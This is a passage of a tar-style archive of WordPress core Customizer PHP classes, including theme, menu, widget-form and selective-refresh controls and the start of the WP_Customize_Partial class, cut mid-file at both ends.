								} elseif ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatibleWP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it doesn&#8217;t work with your version of WordPress.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it doesn&#8217;t work with your version of PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } #>
						</p>
					</div>
				<# } #>
			<# } #>

			<# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>
				<div class="notice notice-error notice-alt"><p>
					<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme doesn&#8217;t work with your versions of WordPress and PHP.' );
						if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
							printf(
								/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
								' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
								self_admin_url( 'update-core.php' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						} elseif ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						} elseif ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } else if ( ! data.theme.compatibleWP ) { #>
						<?php
						_e( 'This theme doesn&#8217;t work with your version of WordPress.' );
						if ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						}
						?>
					<# } else if ( ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme doesn&#8217;t work with your version of PHP.' );
						if ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } #>
				</p></div>
			<# } #>

			<# if ( data.theme.active ) { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">
						<span><?php _ex( 'Previewing:', 'theme' ); ?></span> {{ data.theme.name }}
					</h3>
					<div class="theme-actions">
						<button type="button" class="button button-primary customize-theme" aria-label="<?php echo esc_attr( $customize_label ); ?>"><?php _e( 'Customize' ); ?></button>
					</div>
				</div>
				<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
			<# } else if ( 'installed' === data.theme.type ) { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
					<div class="theme-actions">
						<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
							<button type="button" class="button button-primary preview-theme" aria-label="<?php echo esc_attr( $preview_label ); ?>" data-slug="{{ data.theme.id }}"><?php _e( 'Live Preview' ); ?></button>
						<# } else { #>
							<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $preview_label ); ?>"><?php _e( 'Live Preview' ); ?></button>
						<# } #>
					</div>
				</div>
				<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
			<# } else { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
					<div class="theme-actions">
						<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
							<button type="button" class="button button-primary theme-install preview" aria-label="<?php echo esc_attr( $install_label ); ?>" data-slug="{{ data.theme.id }}" data-name="{{ data.theme.name }}"><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } else { #>
							<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $install_label ); ?>" disabled><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } #>
					</div>
				</div>
			<# } #>
		</div>
		<?php
	}
}
class-wp-customize-new-menu-control.php000064400000003256152331005320014235 0ustar00<?php
/**
 * Customize API: WP_Customize_New_Menu_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
 */

_deprecated_file( basename( __FILE__ ), '4.9.0' );

/**
 * Customize control class for new menus.
 *
 * @since 4.3.0
 * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
 *
 * @see WP_Customize_Control
 */
class WP_Customize_New_Menu_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'new_menu';

	/**
	 * Constructor.
	 *
	 * @since 4.9.0
	 * @deprecated 4.9.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      The control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		_deprecated_function( __METHOD__, '4.9.0' );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the control's content.
	 *
	 * @since 4.3.0
	 * @deprecated 4.9.0
	 */
	public function render_content() {
		_deprecated_function( __METHOD__, '4.9.0' );
		?>
		<button type="button" class="button button-primary" id="create-new-menu-submit"><?php _e( 'Create Menu' ); ?></button>
		<span class="spinner"></span>
		<?php
	}
}
class-wp-customize-filter-setting.php000064400000001114152331005320013753 0ustar00<?php
/**
 * Customize API: WP_Customize_Filter_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * A setting that is used to filter a value, but will not save the results.
 *
 * Results should be properly handled using another setting or callback.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
class WP_Customize_Filter_Setting extends WP_Customize_Setting {

	/**
	 * Saves the value of the setting, using the related API.
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $value The value to update.
	 */
	public function update( $value ) {}
}
class-wp-customize-nav-menu-auto-add-control.php000064400000002142152331005320015715 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Auto_Add_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the auto_add field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Auto_Add_Control extends WP_Customize_Control {

	/**
	 * Type of control, used by JS.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_auto_add';

	/**
	 * No-op since we're using JS template.
	 *
	 * @since 4.3.0
	 */
	protected function render_content() {}

	/**
	 * Render the Underscore template for this control.
	 *
	 * @since 4.3.0
	 */
	protected function content_template() {
		?>
		<# var elementId = _.uniqueId( 'customize-nav-menu-auto-add-control-' ); #>
		<span class="customize-control-title"><?php _e( 'Menu Options' ); ?></span>
		<span class="customize-inside-control-row">
			<input id="{{ elementId }}" type="checkbox" class="auto_add" />
			<label for="{{ elementId }}">
				<?php _e( 'Automatically add new top-level pages to this menu' ); ?>
			</label>
		</span>
		<?php
	}
}
class-wp-widget-form-customize-control.php000064400000005126152331005320014724 0ustar00<?php
/**
 * Customize API: WP_Widget_Form_Customize_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Widget Form Customize Control class.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Widget_Form_Customize_Control extends WP_Customize_Control {
	/**
	 * Customize control type.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $type = 'widget_form';

	/**
	 * Widget ID.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $widget_id;

	/**
	 * Widget ID base.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $widget_id_base;

	/**
	 * Sidebar ID.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $sidebar_id;

	/**
	 * Widget status.
	 *
	 * @since 3.9.0
	 * @var bool True if new, false otherwise. Default false.
	 */
	public $is_new = false;

	/**
	 * Widget width.
	 *
	 * @since 3.9.0
	 * @var int
	 */
	public $width;

	/**
	 * Widget height.
	 *
	 * @since 3.9.0
	 * @var int
	 */
	public $height;

	/**
	 * Widget mode.
	 *
	 * @since 3.9.0
	 * @var bool True if wide, false otherwise. Default false.
	 */
	public $is_wide = false;

	/**
	 * Gather control params for exporting to JavaScript.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 */
	public function to_json() {
		global $wp_registered_widgets;

		parent::to_json();
		$exported_properties = array( 'widget_id', 'widget_id_base', 'sidebar_id', 'width', 'height', 'is_wide' );
		foreach ( $exported_properties as $key ) {
			$this->json[ $key ] = $this->$key;
		}

		// Get the widget_control and widget_content.
		require_once ABSPATH . 'wp-admin/includes/widgets.php';

		$widget = $wp_registered_widgets[ $this->widget_id ];
		if ( ! isset( $widget['params'][0] ) ) {
			$widget['params'][0] = array();
		}

		$args = array(
			'widget_id'   => $widget['id'],
			'widget_name' => $widget['name'],
		);

		$args                 = wp_list_widget_controls_dynamic_sidebar(
			array(
				0 => $args,
				1 => $widget['params'][0],
			)
		);
		$widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args );

		$this->json['widget_control'] = $widget_control_parts['control'];
		$this->json['widget_content'] = $widget_control_parts['content'];
	}

	/**
	 * Override render_content to be no-op since content is exported via to_json for deferred embedding.
	 *
	 * @since 3.9.0
	 */
	public function render_content() {}

	/**
	 * Whether the current widget is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @return bool Whether the widget is rendered.
	 */
	public function active_callback() {
		return $this->manager->widgets->is_widget_rendered( $this->widget_id );
	}
}
class-wp-customize-nav-menu-location-control.php000064400000004357152331005320016041 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Location_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Location Control Class.
 *
 * This custom control is only needed for JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Location_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_location';

	/**
	 * Location ID.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $location_id = '';

	/**
	 * Refresh the parameters passed to JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['locationId'] = $this->location_id;
	}

	/**
	 * Render content just like a normal select control.
	 *
	 * @since 4.3.0
	 * @since 4.9.0 Added a button to create menus.
	 */
	public function render_content() {
		if ( empty( $this->choices ) ) {
			return;
		}

		$value_hidden_class    = '';
		$no_value_hidden_class = '';
		if ( $this->value() ) {
			$value_hidden_class = ' hidden';
		} else {
			$no_value_hidden_class = ' hidden';
		}
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
			<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>

			<?php if ( ! empty( $this->description ) ) : ?>
			<span class="description customize-control-description"><?php echo $this->description; ?></span>
			<?php endif; ?>

			<select <?php $this->link(); ?>>
				<?php
				foreach ( $this->choices as $value => $label ) :
					echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>';
				endforeach;
				?>
			</select>
		</label>
		<button type="button" class="button-link create-menu<?php echo $value_hidden_class; ?>" data-location-id="<?php echo esc_attr( $this->location_id ); ?>" aria-label="<?php esc_attr_e( 'Create a menu for this location' ); ?>"><?php _e( '+ Create New Menu' ); ?></button>
		<button type="button" class="button-link edit-menu<?php echo $no_value_hidden_class; ?>" aria-label="<?php esc_attr_e( 'Edit selected menu' ); ?>"><?php _e( 'Edit Menu' ); ?></button>
		<?php
	}
}
class-wp-customize-selective-refresh.php000064400000032611152331005320014440 0ustar00<?php
/**
 * Customize API: WP_Customize_Selective_Refresh class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.5.0
 */

/**
 * Core Customizer class for implementing selective refresh.
 *
 * @since 4.5.0
 */
final class WP_Customize_Selective_Refresh {

	/**
	 * Query var used in requests to render partials.
	 *
	 * @since 4.5.0
	 */
	const RENDER_QUERY_VAR = 'wp_customize_render_partials';

	/**
	 * Customize manager.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * Registered instances of WP_Customize_Partial.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Partial[]
	 */
	protected $partials = array();

	/**
	 * Log of errors triggered when partials are rendered.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $triggered_errors = array();

	/**
	 * Keep track of the current partial being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $current_partial_id;

	/**
	 * Plugin bootstrap for Partial Refresh functionality.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( WP_Customize_Manager $manager ) {
		$this->manager = $manager;
		require_once ABSPATH . WPINC . '/customize/class-wp-customize-partial.php';

		add_action( 'customize_preview_init', array( $this, 'init_preview' ) );
	}

	/**
	 * Retrieves the registered partials.
	 *
	 * @since 4.5.0
	 *
	 * @return array Partials.
	 */
	public function partials() {
		return $this->partials;
	}

	/**
	 * Adds a partial.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Partial::__construct()
	 *
	 * @param WP_Customize_Partial|string $id   Customize Partial object, or Partial ID.
	 * @param array                       $args Optional. Array of properties for the new Partials object.
	 *                                          See WP_Customize_Partial::__construct() for information
	 *                                          on accepted arguments. Default empty array.
	 * @return WP_Customize_Partial The instance of the partial that was added.
	 */
	public function add_partial( $id, $args = array() ) {
		if ( $id instanceof WP_Customize_Partial ) {
			$partial = $id;
		} else {
			$class = 'WP_Customize_Partial';

			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
			$args = apply_filters( 'customize_dynamic_partial_args', $args, $id );

			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
			$class = apply_filters( 'customize_dynamic_partial_class', $class, $id, $args );

			$partial = new $class( $this, $id, $args );
		}

		$this->partials[ $partial->id ] = $partial;
		return $partial;
	}

	/**
	 * Retrieves a partial.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id Customize Partial ID.
	 * @return WP_Customize_Partial|null The partial, if set. Otherwise null.
	 */
	public function get_partial( $id ) {
		if ( isset( $this->partials[ $id ] ) ) {
			return $this->partials[ $id ];
		} else {
			return null;
		}
	}

	/**
	 * Removes a partial.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id Customize Partial ID.
	 */
	public function remove_partial( $id ) {
		unset( $this->partials[ $id ] );
	}

	/**
	 * Initializes the Customizer preview.
	 *
	 * @since 4.5.0
	 */
	public function init_preview() {
		add_action( 'template_redirect', array( $this, 'handle_render_partials_request' ) );
		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
	}

	/**
	 * Enqueues preview scripts.
	 *
	 * @since 4.5.0
	 */
	public function enqueue_preview_scripts() {
		wp_enqueue_script( 'customize-selective-refresh' );
		add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1000 );
	}

	/**
	 * Exports data in preview after it has finished rendering so that partials can be added at runtime.
	 *
	 * @since 4.5.0
	 */
	public function export_preview_data() {
		$partials = array();

		foreach ( $this->partials() as $partial ) {
			if ( $partial->check_capabilities() ) {
				$partials[ $partial->id ] = $partial->json();
			}
		}

		$switched_locale = switch_to_locale( get_user_locale() );
		$l10n            = array(
			'shiftClickToEdit' => __( 'Shift-click to edit this element.' ),
			'clickEditMenu'    => __( 'Click to edit this menu.' ),
			'clickEditWidget'  => __( 'Click to edit this widget.' ),
			'clickEditTitle'   => __( 'Click to edit the site title.' ),
			'clickEditMisc'    => __( 'Click to edit this element.' ),
			/* translators: %s: document.write() */
			'badDocumentWrite' => sprintf( __( '%s is forbidden' ), 'document.write()' ),
		);
		if ( $switched_locale ) {
			restore_previous_locale();
		}

		$exports = array(
			'partials'       => $partials,
			'renderQueryVar' => self::RENDER_QUERY_VAR,
			'l10n'           => $l10n,
		);

		// Export data to JS.
		printf( '<script>var _customizePartialRefreshExports = %s;</script>', wp_json_encode( $exports ) );
	}

	/**
	 * Registers dynamically-created partials.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Manager::add_dynamic_settings()
	 *
	 * @param string[] $partial_ids Array of the partial IDs to add.
	 * @return WP_Customize_Partial[] Array of added WP_Customize_Partial instances.
	 */
	public function add_dynamic_partials( $partial_ids ) {
		$new_partials = array();

		foreach ( $partial_ids as $partial_id ) {

			// Skip partials already created.
			$partial = $this->get_partial( $partial_id );
			if ( $partial ) {
				continue;
			}

			$partial_args  = false;
			$partial_class = 'WP_Customize_Partial';

			/**
			 * Filters a dynamic partial's constructor arguments.
			 *
			 * For a dynamic partial to be registered, this filter must be employed
			 * to override the default false value with an array of args to pass to
			 * the WP_Customize_Partial constructor.
			 *
			 * @since 4.5.0
			 *
			 * @param false|array $partial_args The arguments to the WP_Customize_Partial constructor.
			 * @param string      $partial_id   ID for dynamic partial.
			 */
			$partial_args = apply_filters( 'customize_dynamic_partial_args', $partial_args, $partial_id );
			if ( false === $partial_args ) {
				continue;
			}

			/**
			 * Filters the class used to construct partials.
			 *
			 * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass.
			 *
			 * @since 4.5.0
			 *
			 * @param string $partial_class WP_Customize_Partial or a subclass.
			 * @param string $partial_id    ID for dynamic partial.
			 * @param array  $partial_args  The arguments to the WP_Customize_Partial constructor.
			 */
			$partial_class = apply_filters( 'customize_dynamic_partial_class', $partial_class, $partial_id, $partial_args );

			$partial = new $partial_class( $this, $partial_id, $partial_args );

			$this->add_partial( $partial );
			$new_partials[] = $partial;
		}
		return $new_partials;
	}

	/**
	 * Checks whether the request is for rendering partials.
	 *
	 * Note that this will not consider whether the request is authorized or valid,
	 * just that essentially the route is a match.
	 *
	 * @since 4.5.0
	 *
	 * @return bool Whether the request is for rendering partials.
	 */
	public function is_render_partials_request() {
		return ! empty( $_POST[ self::RENDER_QUERY_VAR ] );
	}

	/**
	 * Handles PHP errors triggered during rendering the partials.
	 *
	 * These errors will be relayed back to the client in the Ajax response.
	 *
	 * @since 4.5.0
	 *
	 * @param int    $errno   Error number.
	 * @param string $errstr  Error string.
	 * @param string $errfile Error file.
	 * @param string $errline Error line.
	 * @return true Always true.
	 */
	public function handle_error( $errno, $errstr, $errfile = null, $errline = null ) {
		$this->triggered_errors[] = array(
			'partial'      => $this->current_partial_id,
			'error_number' => $errno,
			'error_string' => $errstr,
			'error_file'   => $errfile,
			'error_line'   => $errline,
		);
		return true;
	}

	/**
	 * Handles the Ajax request to return the rendered partials for the requested placements.
	 *
	 * @since 4.5.0
	 */
	public function handle_render_partials_request() {
		if ( ! $this->is_render_partials_request() ) {
			return;
		}

		/*
		 * Note that is_customize_preview() returning true will entail that the
		 * user passed the 'customize' capability check and the nonce check, since
		 * WP_Customize_Manager::setup_theme() is where the previewing flag is set.
		 */
		if ( ! is_customize_preview() ) {
			wp_send_json_error( 'expected_customize_preview', 403 );
		} elseif ( ! isset( $_POST['partials'] ) ) {
			wp_send_json_error( 'missing_partials', 400 );
		}

		// Ensure that doing selective refresh on 404 template doesn't result in fallback rendering behavior (full refreshes).
		status_header( 200 );

		$partials = json_decode( wp_unslash( $_POST['partials'] ), true );

		if ( ! is_array( $partials ) ) {
			wp_send_json_error( 'malformed_partials' );
		}

		$this->add_dynamic_partials( array_keys( $partials ) );

		/**
		 * Fires immediately before partials are rendered.
		 *
		 * Plugins may do things like call wp_enqueue_scripts() and gather a list of the scripts
		 * and styles which may get enqueued in the response.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		do_action( 'customize_render_partials_before', $this, $partials );

		set_error_handler( array( $this, 'handle_error' ), error_reporting() );

		$contents = array();

		foreach ( $partials as $partial_id => $container_contexts ) {
			$this->current_partial_id = $partial_id;

			if ( ! is_array( $container_contexts ) ) {
				wp_send_json_error( 'malformed_container_contexts' );
			}

			$partial = $this->get_partial( $partial_id );

			if ( ! $partial || ! $partial->check_capabilities() ) {
				$contents[ $partial_id ] = null;
				continue;
			}

			$contents[ $partial_id ] = array();

			// @todo The array should include not only the contents, but also whether the container is included?
			if ( empty( $container_contexts ) ) {
				// Since there are no container contexts, render just once.
				$contents[ $partial_id ][] = $partial->render( null );
			} else {
				foreach ( $container_contexts as $container_context ) {
					$contents[ $partial_id ][] = $partial->render( $container_context );
				}
			}
		}
		$this->current_partial_id = null;

		restore_error_handler();

		/**
		 * Fires immediately after partials are rendered.
		 *
		 * Plugins may do things like call wp_footer() to scrape scripts output and return them
		 * via the {@see 'customize_render_partials_response'} filter.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		do_action( 'customize_render_partials_after', $this, $partials );

		$response = array(
			'contents' => $contents,
		);

		if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
			$response['errors'] = $this->triggered_errors;
		}

		$setting_validities             = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
		$exported_setting_validities    = array_map( array( $this->manager, 'prepare_setting_validity_for_js' ), $setting_validities );
		$response['setting_validities'] = $exported_setting_validities;

		/**
		 * Filters the response from rendering the partials.
		 *
		 * Plugins may use this filter to inject `$scripts` and `$styles`, which are dependencies
		 * for the partials being rendered. The response data will be available to the client via
		 * the `render-partials-response` JS event, so the client can then inject the scripts and
		 * styles into the DOM if they have not already been enqueued there.
		 *
		 * If plugins do this, they'll need to take care for any scripts that do `document.write()`
		 * and make sure that these are not injected, or else to override the function to no-op,
		 * or else the page will be destroyed.
		 *
		 * Plugins should be aware that `$scripts` and `$styles` may eventually be included by
		 * default in the response.
		 *
		 * @since 4.5.0
		 *
		 * @param array $response {
		 *     Response.
		 *
		 *     @type array $contents Associative array mapping a partial ID its corresponding array of contents
		 *                           for the containers requested.
		 *     @type array $errors   List of errors triggered during rendering of partials, if `WP_DEBUG_DISPLAY`
		 *                           is enabled.
		 * }
		 * @param WP_Customize_Selective_Refresh $refresh  Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		$response = apply_filters( 'customize_render_partials_response', $response, $this, $partials );

		wp_send_json_success( $response );
	}
}
class-wp-customize-partial.php000064400000024456152331005320012465 0ustar00<?php
/**
 * Customize API: WP_Customize_Partial class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.5.0
 */

/**
 * Core Customizer class for implementing selective refresh partials.
 *
 * Representation of a rendered region in the previewed page that gets
 * selectively refreshed when an associated setting is changed.
 * This class is analogous of WP_Customize_Control.
 *
 * @since 4.5.0
 */
class WP_Customize_Partial {

	/**
	 * Component.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Selective_Refresh
	 */
	public $component;

	/**
	 * Unique identifier for the partial.
	 *
	 * If the partial is used to display a single setting, this would generally
	 * be the same as the associated setting's ID.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $id;

	/**
	 * Parsed ID.
	 *
	 * @since 4.5.0
	 * @var array {
	 *     @type string $base ID base.
	 *     @type array  $keys Keys for multidimensional.
	 * }
	 */
	protected $id_data = array();

	/**
	 * Type of this partial.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $type = 'default';

	/**
	 * The jQuery selector to find the container element for the partial.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $selector;

	/**
	 * IDs for settings tied to the partial.
	 *
	 * @since 4.5.0
	 * @var string[]
	 */
	public $settings;

	/**
	 * The ID for the setting that this partial is primarily responsible for rendering.
	 *
	 * If not supplied, it will default to the ID of the first setting.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $primary_setting;

	/**
	 * Capability required to edit this partial.
	 *
	 * Normally this is empty and the capability is derived from the capabilities
	 * of the associated `$settings`.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $capability;

	/**
	 * Render callback.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Partial::render()
	 * @var callable Callback is called with one argument, the instance of
	 *               WP_Customize_Partial. The callback can either echo the
	 *               partial or return the partial as a string, or return false if error.
	 */
	public $render_callback;

	/**
	 * Whether the container element is included in the partial, or if only the contents are rendered.
	 *
	 * @since 4.5.0
	 * @var bool
	 */
	public $container_inclusive = false;

	/**
	 * Whether to refresh the entire preview in case a partial cannot be refreshed.
	 *
	 * A partial render is considered a failure if the render_callback returns false.
	 *
	 * @since 4.5.0
	 * @var bool
	 */
	public $fallback_refresh = true;

	/**
	 * Constructor.
	 *
	 * Supplied `$args` override class property defaults.
	 *
	 * If `$args['settings']` is not defined, use the $id as the setting ID.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Selective_Refresh $component Customize Partial Refresh plugin instance.
	 * @param string                         $id        Control ID.
	 * @param array                          $args {
	 *     Optional. Array of properties for the new Partials object. Default empty array.
	 *
	 *     @type string   $type                  Type of the partial to be created.
	 *     @type string   $selector              The jQuery selector to find the container element for the partial, that is,
	 *                                           a partial's placement.
	 *     @type string[] $settings              IDs for settings tied to the partial. If undefined, `$id` will be used.
	 *     @type string   $primary_setting       The ID for the setting that this partial is primarily responsible for
	 *                                           rendering. If not supplied, it will default to the ID of the first setting.
	 *     @type string   $capability            Capability required to edit this partial.
	 *                                           Normally this is empty and the capability is derived from the capabilities
	 *                                           of the associated `$settings`.
	 *     @type callable $render_callback       Render callback.
	 *                                           Callback is called with one argument, the instance of WP_Customize_Partial.
	 *                                           The callback can either echo the partial or return the partial as a string,
	 *                                           or return false if error.
	 *     @type bool     $container_inclusive   Whether the container element is included in the partial, or if only
	 *                                           the contents are rendered.
	 *     @type bool     $fallback_refresh      Whether to refresh the entire preview in case a partial cannot be refreshed.
	 *                                           A partial render is considered a failure if the render_callback returns
	 *                                           false.
	 * }
	 */
	public function __construct( WP_Customize_Selective_Refresh $component, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->component       = $component;
		$this->id              = $id;
		$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) );
		$this->id_data['base'] = array_shift( $this->id_data['keys'] );

		if ( empty( $this->render_callback ) ) {
			$this->render_callback = array( $this, 'render_callback' );
		}

		// Process settings.
		if ( ! isset( $this->settings ) ) {
			$this->settings = array( $id );
		} elseif ( is_string( $this->settings ) ) {
			$this->settings = array( $this->settings );
		}

		if ( empty( $this->primary_setting ) ) {
			$this->primary_setting = current( $this->settings );
		}
	}

	/**
	 * Retrieves parsed ID data for multidimensional setting.
	 *
	 * @since 4.5.0
	 *
	 * @return array {
	 *     ID data for multidimensional partial.
	 *
	 *     @type string $base ID base.
	 *     @type array  $keys Keys for multidimensional array.
	 * }
	 */
	final public function id_data() {
		return $this->id_data;
	}

	/**
	 * Renders the template partial involving the associated settings.
	 *
	 * @since 4.5.0
	 *
	 * @param array $container_context Optional. Array of context data associated with the target container (placement).
	 *                                 Default empty array.
	 * @return string|array|false The rendered partial as a string, raw data array (for client-side JS template),
	 *                            or false if no render applied.
	 */
	final public function render( $container_context = array() ) {
		$partial  = $this;
		$rendered = false;

		if ( ! empty( $this->render_callback ) ) {
			ob_start();
			$return_render = call_user_func( $this->render_callback, $this, $container_context );
			$ob_render     = ob_get_clean();

			if ( null !== $return_render && '' !== $ob_render ) {
				_doing_it_wrong( __FUNCTION__, __( 'Partial render must echo the content or return the content string (or array), but not both.' ), '4.5.0' );
			}

			/*
			 * Note that the string return takes precedence because the $ob_render may just\
			 * include PHP warnings or notices.
			 */
			$rendered = null !== $return_render ? $return_render : $ob_render;
		}

		/**
		 * Filters partial rendering.
		 *
		 * @since 4.5.0
		 *
		 * @param string|array|false   $rendered          The partial value. Default false.
